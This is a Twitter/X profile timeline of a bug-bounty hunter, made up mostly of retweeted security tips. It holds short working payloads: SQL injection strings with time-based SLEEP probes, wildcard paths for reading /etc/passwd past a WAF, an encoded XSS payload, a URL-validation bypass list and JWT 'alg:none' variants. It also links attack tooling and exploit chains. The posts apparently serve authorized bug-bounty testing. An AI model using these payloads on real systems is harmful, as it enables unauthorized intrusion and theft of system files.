Ismail (@Ismailpy_Crypto) header
Ismail (@Ismailpy_Crypto) profile picture

Ismail

@Ismailpy_Crypto
 Tanger - Tétouan, Royaume du M
Joined August 2021
  • Tweets293
  • Following329
  • Followers21
New SQLi technique (concatenation): `'||Column_name--+` Then: `'||table_name.column_name--+` using dot notation. So: `'||not_valid_column_name--+` → returns an error `'||valid_column_name--+` → success `'||valid_table.valid_column--+` → success I got a bounty for this f*king sample POC cause akamai and backend limited it to 8 chars. I was lucky because the column name was `id` on @Bugcrowd #bugbounty #bugbountytips
Image from Ahmed Abdelbaset (@r9Mody)
12
69
1
574
14,801
Ismail retweeted
JS0N Haddix (@Jhaddix) profile picture
JS0N Haddix
@JhaddixSep 18
24 apex enumeration techniques, 63 subdomain enumeration techniques. Bypasses most CDN based WAF configurations... Our Armada Overwatch module is fucking 🔥🔥🔥
Image from JS0N Haddix (@Jhaddix)
8
37
279
13,891
/etc/passwd ==> WAF restriction? Use these: /e?c/?asswd /e*c/*asswd /??c/?asswd /??c/?assw? Doesn't work always, just give it a try. 🎯 #bugbountytip #bugbountytips #bugbounty
Image from 𝐤𝐣𝐮𝐥𝐢𝐮𝐬 (@ethical_h4ck3r_)
7
57
474
21,410
add this XSS payload to your wordlist url=%26%2302java%26%23115cript:alert(document.domain) Credit: @GodfatherOrwa Happy Hunting ❤️ #bugbountytips
Image from 𝐤𝐣𝐮𝐥𝐢𝐮𝐬 (@ethical_h4ck3r_)
5
62
451
19,963
For first time i found a SQL Injection On **sitemap.xml** endpoint 😎 target[.]com/sitemap.xml?offset=1;SELECT IF((8303>8302),SLEEP(9),2356)# sleep payload [1;SELECT IF((8303>8302),SLEEP(9),2356)#] = 9s Credit: @GodfatherOrwa Happy Hunting. ❤️ #bugbountytips #bugbountytip
Image from 𝐤𝐣𝐮𝐥𝐢𝐮𝐬 (@ethical_h4ck3r_)
11
57
1
445
26,115
"SSRF via Host Header Injection — A Prank Gone Vulnerable" by Minio Haxer (syedshorox27) 🔥 🔗 medium.com/@syedshorox27/ssr… Join team 👉t.me/luckyhacker42
Image from I'M H4CK3R 42 (@luckyhacker43)
Image from I'M H4CK3R 42 (@luckyhacker43)
2
17
136
11,004
Try this: Bug hunters just dropped GhostJS Burp Extension. It passively scans JS, HTML, and JSON for secrets. API keys, tokens, endpoints. Zero config, 150 plus patterns, totally free. Install, browse, let it hunt github.com/trinetlayer/Ghost…
Image from Aditya (@ADITYASHENDE17)
1
70
2
458
29,331
Ismail retweeted
Mr.Niko (@_MrNiko) profile picture
Mr.Niko
@_MrNikoAug 31
IIS AppPool RCE is not the end of the story. AppPool hits AD CS RPC → Windows promotes it to the machine account → Machine cert → TGT → S4U2Self admin. no Potato required. mannulinux.org/2026/08/Privi… #ADSecurity #ExploitDev #InfoSec
Image from Mr.Niko (@_MrNiko)
1
78
1
260
12,878
Ismail retweeted
0xor0ne (@0xor0ne) profile picture
0xor0ne
@0xor0neAug 28
Large Language Models for software vulnerability detection github.com/huhusmang/Awesome… #llm #infosec
Image from 0xor0ne (@0xor0ne)
Image from 0xor0ne (@0xor0ne)
2
41
200
13,514
Ismail retweeted
NaZaniin (@n0aziXss) profile picture
NaZaniin@n0aziXssAug 30
Introducing the URL validation bypass cheat sheet 🔥 1. https://%09web-attacker.com 2. https://%0Aweb-attacker.com 3. %0D%0A//web-attacker.com 4. %0D%0A\\web-attacker.com 5. https://%5B::%5D/ 6. https://%5B::1%5D/ 7. https://%5B::ffff:0.0.0.0%5D/
1
5
36
1,466
How do you identify an HTTP request smuggling vulnerability? 🤔 Smuggler is an HTTP Request Smuggling / Desync testing Python tool that can help you identify this quickly
1
9
69
2,908
Ismail retweeted
Tom Dörr (@tom_doerr) profile picture
Tom Dörr
@tom_doerrAug 28
Captures nearby WiFi traffic, discovers clients connected to access points, and cracks passwords using the aircrack-ng suite. github.com/martin-olivier/ai…
Image from Tom Dörr (@tom_doerr)
14
350
7
2,370
121,437
The server rejects JWT alg:none, but does it reject "None", "NONE", "nonE", "NoNe" etc? I have compiled a lot of JWT attacks if you are looking for resources. Link in comments.
Image from Luke Stephens (hakluke) (@hakluke)
8
19
1
193
8,977
Ismail retweeted
Intigriti (@intigriti) profile picture
Intigriti
@intigritiAug 29
403 Forbidden doesn't always mean that access controls are properly enforced... 😅 unKover by @brutelogic tests any target returning a 401/403 URL against proven bypass techniques like path normalization, IP header spoofing, HTTP request method tampering, and URL encoding! 🤠 Check it out! 👇 github.com/BruteLogic/unKove…
Image from Intigriti (@intigriti)
8
53
2
401
23,340
Found a pretty interesting way to enumerate subdomains: app.agniops.in/v1/search?dom… give: 813 crt.name/v1/search?apex=x.co… give: 781 Gives you a clean list from the domain's certificate data.
Image from Un9nPlayer (@Un9nPlayer)
5
71
1
481
63,559
Replying to @ArchAngelDDay
@ArchAngelDDay uses AI to hunt for RCE. Here's how he does it: 👇
1
20
175
7,265
Looks like @BugBunny_ai AI slop reports are valid security issues 😂 meanwhile we just shipped some updates to Bugbunny, our PR review bot is now in beta, also scans now cost 5x less...
Image from Z A D D Y (@Zaddyzaddy)
Z A D D Y (@Zaddyzaddy) profile pictureZ A D D Y
@ZaddyzaddyAug 10
The beatings will continue until morale improves. With AI able to identify vulnerabilities at scale, things are going to get a lot worse for security teams before they eventually get better. The game is the game. "AI slop" reports courtesy of @BugBunny_ai
Image from Z A D D Y (@Zaddyzaddy)
2
7
2
85
15,328
Ismail retweeted
bugcrowd (@Bugcrowd) profile picture
bugcrowd
@BugcrowdAug 11
This hacking secret may lead to your first P1. 😏 Spoiler: This may also lead to your first RCE. Here's a quick watch: 👇
2
33
271
14,555
Ismail retweeted
SusluSec (@suslu7616) profile picture
SusluSec@suslu7616Jul 28
#sqli payload: 0'XOR(if(now()=sysdate(),sleep(20),0))XOR'Z #bugbounty #bugbountytrics #infosec #xss #sqli
Image from SusluSec (@suslu7616)
Image from SusluSec (@suslu7616)
5
30
350
12,813
‼️ BREAKING - A newly discovered #WordPress pre-auth XSS affects every version. XSS2Shell (CVE-2026-64638) can run attacker-controlled JS in a site's origin without a login. With a logged-in Administrator, one click, and required deployment conditions, it can be chained to PHP code execution. Update your WordPress sites ASAP 🠖 thehackernews.com/2026/08/ne…
Image from The Hacker News (@TheHackersNews)
15
240
18
967
109,664
Load more